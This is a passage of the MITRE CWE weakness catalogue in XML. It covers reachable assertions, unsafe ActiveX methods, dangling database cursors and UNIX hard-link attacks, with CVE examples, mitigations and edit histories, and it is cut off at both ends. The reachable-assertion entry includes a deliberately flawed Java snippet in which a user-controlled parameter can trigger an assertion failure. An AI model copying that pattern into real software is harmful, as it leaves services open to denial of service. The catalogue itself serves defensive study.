               <Description>Forum does not properly verify whether a file was uploaded or if the associated variables were set by POST, allowing remote attackers to read arbitrary files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1460</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1759</Reference>
               <Description>Product doesn't check if the variables for an upload were set by uploading the file, or other methods such as $_POST.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1759</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1710</Reference>
               <Description>Product does not distinguish uploaded file from other files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1710</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Incomplete Identification of Uploaded File Variables (PHP)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP25</Entry_ID>
               <Entry_Name>Tainted input to variable</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-502"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="617" Name="Reachable Assertion" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.</Description>
         <Extended_Description>
            <xhtml:p>While assertion is good for catching logic errors and reducing the chances of reaching more serious vulnerability conditions, it can still lead to a denial of service.</xhtml:p>
            <xhtml:p>For example, if a server handles multiple simultaneous connections, and an assert() occurs in one single connection that causes all other connections to be dropped, this is a reachable assertion that leads to a denial of service.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="670" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="670" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>assertion failure</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>An attacker that can trigger an assert statement can still lead to a denial of service if the relevant code can be triggered by an attacker, and if the scope of the assert() extends beyond the attacker's own session.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Make sensitive open/close operation non reachable by directly user-controlled data (e.g. open/close resources)</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Perform input validation on user data.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the excerpt below, an AssertionError (an unchecked exception) is thrown if the user hasn't entered an email address in an HTML form.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String email = request.getParameter("email_address");<xhtml:br/>assert email != null;</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2006-6767</Reference>
               <Description>FTP server allows remote attackers to cause a denial of service (daemon abort) via crafted commands which trigger an assertion failure.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-6767</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-6811</Reference>
               <Description>Chat client allows remote attackers to cause a denial of service (crash) via a long message string when connecting to a server, which causes an assertion failure.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-6811</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-5779</Reference>
               <Description>Product allows remote attackers to cause a denial of service (daemon crash) via LDAP BIND requests with long authcid names, which triggers an assertion failure.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-5779</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4095</Reference>
               <Description>Product allows remote attackers to cause a denial of service (crash) via certain queries, which cause an assertion failure.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4095</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4574</Reference>
               <Description>Chain: security monitoring product has an off-by-one error that leads to unexpected length values, triggering an assertion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4574</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>MET01-J</Entry_ID>
               <Entry_Name>Never use assertions to validate method arguments</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP3</Entry_ID>
               <Entry_Name>Use of an improper API</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Observed_Example, Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Observed_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Alternate_Terms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="618" Name="Exposed Unsafe ActiveX Method" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>An ActiveX control is intended for use in a web browser, but it exposes dangerous methods that perform actions that are outside of the browser's security model (e.g. the zone or domain).</Description>
         <Extended_Description>ActiveX controls can exercise far greater control over the operating system than typical Java or javascript. Exposed methods can be subject to various vulnerabilities, depending on the implemented behaviors of those methods, and whether input validation is performed on the provided arguments. If there is no integrity checking or origin validation, this method could be invoked by attackers.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="749" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>If you must expose a method, make sure to perform input validation on all arguments, and protect against all possible vulnerabilities.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use code signing, although this does not protect against any weaknesses that are already in the control.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>System Configuration</Phase>
               <Description>Where possible, avoid marking the control as safe for scripting.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2007-1120</Reference>
               <Description>download a file to arbitrary folders.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-1120</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-6838</Reference>
               <Description>control downloads and executes a url in a parameter</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-6838</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-0321</Reference>
               <Description>resultant buffer overflow</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-0321</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-503"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 12, &#34;ActiveX Security&#34;, Page 749"/>
         </References>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Observed_Example, Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships, Type</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="619" Name="Dangling Database Cursor ('Cursor Injection')" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>If a database cursor is not closed properly, then it could become accessible to other users while retaining the same privileges that were originally assigned, leaving the cursor "dangling."</Description>
         <Extended_Description>For example, an improper dangling cursor could arise from unhandled exceptions. The impact of the issue depends on the cursor's role, but SQL injection attacks are commonly possible.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="402" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
               <Description>This could be primary when the programmer never attempts to close the cursor when finished with it.</Description>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="SQL" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>A cursor is a feature in Oracle PL/SQL and other languages that provides a handle for executing and accessing the results of SQL queries.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>This issue is currently reported for unhandled exceptions, but it is theoretically possible any time the programmer does not close the cursor at the proper time.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Close cursors immediately after access to them is complete. Ensure that you close cursors if exceptions occur.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-505"/>
            <Reference External_Reference_ID="REF-506"/>
         </References>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Background_Details, Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Dangling Database Cursor (Cursor Injection)</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Dangling Database Cursor (aka 'Cursor Injection')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="62" Name="UNIX Hard Link" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product, when opening a file or directory, does not sufficiently account for when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.</Description>
         <Extended_Description>Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. /etc/passwd). When the process opens the file, the attacker can assume the privileges of that process.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="59" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Operating_System Class="Unix" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-48.1">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>
                  <xhtml:p>Follow the principle of least privilege when assigning access rights to entities in a software system.</xhtml:p>
                  <xhtml:p>Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-1494</Reference>
               <Description>Hard link attack, file overwrite; interesting because program checks against soft links</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1494</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0793</Reference>
               <Description>Hard link and possibly symbolic link following vulnerabilities in embedded operating system allow local users to overwrite arbitrary files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0793</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0578</Reference>
               <Description>Server creates hard links and unlinks files as root, which allows local users to gain privileges by deleting and overwriting arbitrary files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0578</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-0783</Reference>
               <Description>Operating system allows local users to conduct a denial of service by creating a hard link from a device special file to a file on an NFS file system.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0783</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1603</Reference>
               <Description>Web hosting manager follows hard links, which allows local users to read or modify arbitrary files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1603</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1901</Reference>
               <Description>Package listing system allows local users to overwrite arbitrary files via a hard link attack on the lockfiles.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1901</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0342</Reference>
               <Description>The Finder in Mac OS X and earlier allows local users to overwrite arbitrary files and gain privileges by creating a hard link from the .DS_Store file to an arbitrary file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0342</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1111</Reference>
               <Description>Hard link race condition</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1111</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-21272</Reference>
               <Description>"Zip Slip" vulnerability in Go-based Open Container Initiative (OCI) registries product allows writing arbitrary files outside intended directory via symbolic links or hard links in a gzipped tarball.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-21272</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>BUGTRAQ:20030203 ASA-0001</Reference>
               <Description>OpenBSD chpass/chfn/chsh file content leak</Description>
               <Link>http://www.securityfocus.com/archive/1/309962</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>UNIX hard link</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO05-C</Entry_ID>
               <Entry_Name>Identify files using multiple file attributes</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP18</Entry_ID>
               <Entry_Name>Link in resource name resolution</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 9, &#34;Hard Links&#34;, Page 518"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
